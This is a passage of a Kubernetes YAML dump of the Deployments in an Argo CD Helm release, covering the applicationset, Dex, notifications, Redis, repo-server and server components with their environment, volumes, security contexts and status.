          - mountPath: /app/config/ssh
            name: ssh-known-hosts
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/gpg/source
            name: gpg-keys
          - mountPath: /app/config/gpg/keys
            name: gpg-keyring
          - mountPath: /app/config/reposerver/tls
            name: argocd-repo-server-tls
          - mountPath: /tmp
            name: tmp
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-applicationset-controller
        serviceAccountName: argocd-applicationset-controller
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: argocd-ssh-known-hosts-cm
          name: ssh-known-hosts
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - configMap:
            defaultMode: 420
            name: argocd-gpg-keys-cm
          name: gpg-keys
        - emptyDir: {}
          name: gpg-keyring
        - emptyDir: {}
          name: tmp
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:18Z"
      lastUpdateTime: "2025-09-21T20:16:16Z"
      message: ReplicaSet "argocd-applicationset-controller-6dc687dfdb" has successfully
        progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:23:59Z"
      lastUpdateTime: "2025-11-29T13:23:59Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:17Z"
    generation: 1
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-dex-server
    namespace: argocd
    resourceVersion: "18033584"
    uid: fe61d3a1-09ef-4c18-a181-b386e967855d
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 3
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-dex-server
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: dex-server
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-dex-server
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-dex-server
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - rundex
          command:
          - /shared/argocd-dex
          env:
          - name: ARGOCD_DEX_SERVER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: dexserver.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_DEX_SERVER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: dexserver.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_DEX_SERVER_DISABLE_TLS
            valueFrom:
              configMapKeyRef:
                key: dexserver.disable.tls
                name: argocd-cmd-params-cm
                optional: true
          image: ghcr.io/dexidp/dex:v2.44.0
          imagePullPolicy: IfNotPresent
          name: dex-server
          ports:
          - containerPort: 5556
            name: http
            protocol: TCP
          - containerPort: 5557
            name: grpc
            protocol: TCP
          - containerPort: 5558
            name: metrics
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /shared
            name: static-files
          - mountPath: /tmp
            name: dexconfig
          - mountPath: /tls
            name: argocd-dex-server-tls
        dnsPolicy: ClusterFirst
        initContainers:
        - command:
          - /bin/cp
          - -n
          - /usr/local/bin/argocd
          - /shared/argocd-dex
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: copyutil
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /shared
            name: static-files
          - mountPath: /tmp
            name: dexconfig
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-dex-server
        serviceAccountName: argocd-dex-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: static-files
        - emptyDir: {}
          name: dexconfig
        - name: argocd-dex-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-dex-server-tls
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:18Z"
      lastUpdateTime: "2025-09-21T20:15:57Z"
      message: ReplicaSet "argocd-dex-server-6559c6dd79" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:23:53Z"
      lastUpdateTime: "2025-11-29T13:23:53Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:17Z"
    generation: 1
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-controller
    namespace: argocd
    resourceVersion: "18034084"
    uid: 84c01790-6f8d-4a04-925e-a3b9794d384a
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 3
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-notifications-controller
    strategy:
      type: Recreate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: notifications-controller
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-notifications-controller
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-notifications-controller
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-notifications
          - --metrics-port=9001
          - --namespace=argocd
          - --argocd-repo-server=argocd-repo-server:8081
          - --secret-name=argocd-notifications-secret
          env:
          - name: ARGOCD_NOTIFICATIONS_CONTROLLER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_NOTIFICATIONS_CONTROLLER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_NAMESPACES
            valueFrom:
              configMapKeyRef:
                key: application.namespaces
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_NOTIFICATION_CONTROLLER_SELF_SERVICE_NOTIFICATION_ENABLED
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.selfservice.enabled
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_NOTIFICATION_CONTROLLER_REPO_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.repo.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: notifications-controller
          ports:
          - containerPort: 9001
            name: metrics
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/reposerver/tls
            name: argocd-repo-server-tls
          workingDir: /app
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-notifications-controller
        serviceAccountName: argocd-notifications-controller
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:18Z"
      lastUpdateTime: "2025-09-21T20:16:17Z"
      message: ReplicaSet "argocd-notifications-controller-6f78679858" has successfully
        progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:24:57Z"
      lastUpdateTime: "2025-11-29T13:24:57Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:17Z"
    generation: 1
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-redis
    namespace: argocd
    resourceVersion: "18046331"
    uid: a35962cd-f970-4689-aab8-7d088abe31c1
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 3
    selector:
      matchLabels:
        app.kubernetes.io/name: argocd-redis
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: redis
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-redis
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-redis
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - --save
          - ""
          - --appendonly
          - "no"
          - --requirepass $(REDIS_PASSWORD)
          env:
          - name: REDIS_PASSWORD
            valueFrom:
              secretKeyRef:
                key: auth
                name: argocd-redis
          image: ecr-public.aws.com/docker/library/redis:7.2.8-alpine
          imagePullPolicy: IfNotPresent
          name: redis
          ports:
          - containerPort: 6379
            name: redis
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /health
            name: health
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          runAsUser: 999
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: default
        serviceAccountName: default
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 493
            name: argocd-redis-health-configmap
          name: health
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:18Z"
      lastUpdateTime: "2025-09-21T20:15:34Z"
      message: ReplicaSet "argocd-redis-946cd9d9f" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:25:20Z"
      lastUpdateTime: "2025-11-29T14:25:20Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:17Z"
    generation: 1
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-repo-server
    namespace: argocd
    resourceVersion: "18007929"
    uid: 997b26ca-d390-4cec-bc83-9902ea8c36b1
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 3
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-repo-server
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: repo-server
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-repo-server
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-repo-server
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-repo-server
          - --port=8081
          - --metrics-port=8084
          env:
          - name: ARGOCD_REPO_SERVER_NAME
            value: argocd-repo-server
          - name: ARGOCD_RECONCILIATION_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: timeout.reconciliation
                name: argocd-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: reposerver.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: reposerver.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: reposerver.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LISTEN_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: reposerver.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LISTEN_METRICS_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: reposerver.metrics.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_DISABLE_TLS
            valueFrom:
              configMapKeyRef:
                key: reposerver.disable.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MIN_VERSION
            valueFrom:
              configMapKeyRef:
                key: reposerver.tls.minversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MAX_VERSION
            valueFrom:
              configMapKeyRef:
                key: reposerver.tls.maxversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_CIPHERS
            valueFrom:
              configMapKeyRef:
                key: reposerver.tls.ciphers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: reposerver.repo.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_SERVER
            valueFrom:
              configMapKeyRef:
                key: redis.server
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_COMPRESSION
            valueFrom:
              configMapKeyRef:
                key: redis.compression
                name: argocd-cmd-params-cm
                optional: true
          - name: REDISDB
            valueFrom:
              configMapKeyRef:
                key: redis.db
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-username
                name: argocd-redis
                optional: true
          - name: REDIS_PASSWORD
            valueFrom:
              secretKeyRef:
                key: auth
                name: argocd-redis
                optional: false
          - name: REDIS_SENTINEL_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-username
                name: argocd-redis
                optional: true
          - name: REDIS_SENTINEL_PASSWORD
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-password
                name: argocd-redis
                optional: true
          - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: reposerver.default.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: otlp.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_INSECURE
            valueFrom:
              configMapKeyRef:
                key: otlp.insecure
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_HEADERS
            valueFrom:
              configMapKeyRef:
                key: otlp.headers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_ATTRS
            valueFrom:
              configMapKeyRef:
                key: otlp.attrs
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_MAX_COMBINED_DIRECTORY_MANIFESTS_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.max.combined.directory.manifests.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_PLUGIN_TAR_EXCLUSIONS
            valueFrom:
              configMapKeyRef:
                key: reposerver.plugin.tar.exclusions
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_PLUGIN_USE_MANIFEST_GENERATE_PATHS
            valueFrom:
              configMapKeyRef:
                key: reposerver.plugin.use.manifest.generate.paths
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_ALLOW_OUT_OF_BOUNDS_SYMLINKS
            valueFrom:
              configMapKeyRef:
                key: reposerver.allow.oob.symlinks
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_STREAMED_MANIFEST_MAX_TAR_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.streamed.manifest.max.tar.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_STREAMED_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.streamed.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_HELM_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.helm.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_DISABLE_HELM_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.disable.helm.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_MODULES_ENABLED
            valueFrom:
              configMapKeyRef:
                key: reposerver.enable.git.submodule
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_LS_REMOTE_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: reposerver.git.lsremote.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_REQUEST_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: reposerver.git.request.timeout
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OCI_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.oci.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_DISABLE_OCI_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.disable.oci.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OCI_LAYER_MEDIA_TYPES
            valueFrom:
              configMapKeyRef:
                key: reposerver.oci.layer.media.types
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REVISION_CACHE_LOCK_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: reposerver.revision.cache.lock.timeout
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_INCLUDE_HIDDEN_DIRECTORIES
            valueFrom:
              configMapKeyRef:
                key: reposerver.include.hidden.directories
                name: argocd-cmd-params-cm
                optional: true
          - name: HELM_CACHE_HOME
            value: /helm-working-dir
          - name: HELM_CONFIG_HOME
            value: /helm-working-dir
          - name: HELM_DATA_HOME
            value: /helm-working-dir
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz?full=true
              port: metrics
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: repo-server
          ports:
          - containerPort: 8081
            name: repo-server
            protocol: TCP
          - containerPort: 8084
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: metrics
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/ssh
            name: ssh-known-hosts
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/gpg/source
            name: gpg-keys
          - mountPath: /app/config/gpg/keys
            name: gpg-keyring
          - mountPath: /app/config/reposerver/tls
            name: argocd-repo-server-tls
          - mountPath: /helm-working-dir
            name: helm-working-dir
          - mountPath: /home/argocd/cmp-server/plugins
            name: plugins
          - mountPath: /tmp
            name: tmp
        dnsPolicy: ClusterFirst
        initContainers:
        - command:
          - /bin/cp
          - -n
          - /usr/local/bin/argocd
          - /var/run/argocd/argocd-cmp-server
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: copyutil
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/run/argocd
            name: var-files
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-repo-server
        serviceAccountName: argocd-repo-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: helm-working-dir
        - emptyDir: {}
          name: plugins
        - emptyDir: {}
          name: var-files
        - emptyDir: {}
          name: tmp
        - configMap:
            defaultMode: 420
            name: argocd-ssh-known-hosts-cm
          name: ssh-known-hosts
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - configMap:
            defaultMode: 420
            name: argocd-gpg-keys-cm
          name: gpg-keys
        - emptyDir: {}
          name: gpg-keyring
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:18Z"
      lastUpdateTime: "2025-09-21T20:16:32Z"
      message: ReplicaSet "argocd-repo-server-5c6559d6cd" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:13:30Z"
      lastUpdateTime: "2025-11-29T11:13:30Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:17Z"
    generation: 1
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    namespace: argocd
    resourceVersion: "18034185"
    uid: 2e42fb01-61fa-4aa4-b4a4-669771c70296
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 3
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-server
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: server
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-server
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-server
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-server
          - --port=8080
          - --metrics-port=8083
          env:
          - name: ARGOCD_SERVER_NAME
            value: argocd-server
          - name: ARGOCD_SERVER_INSECURE
            valueFrom:
              configMapKeyRef:
                key: server.insecure
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_BASEHREF
            valueFrom:
              configMapKeyRef:
                key: server.basehref
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_ROOTPATH
            valueFrom:
              configMapKeyRef:
                key: server.rootpath
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: server.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_LOG_LEVEL
            valueFrom:
              configMapKeyRef:
                key: server.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER
            valueFrom:
              configMapKeyRef:
                key: repo.server
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_DEX_SERVER
            valueFrom:
              configMapKeyRef:
                key: server.dex.server
                name: argocd-cmd-params-cm
                optional: true
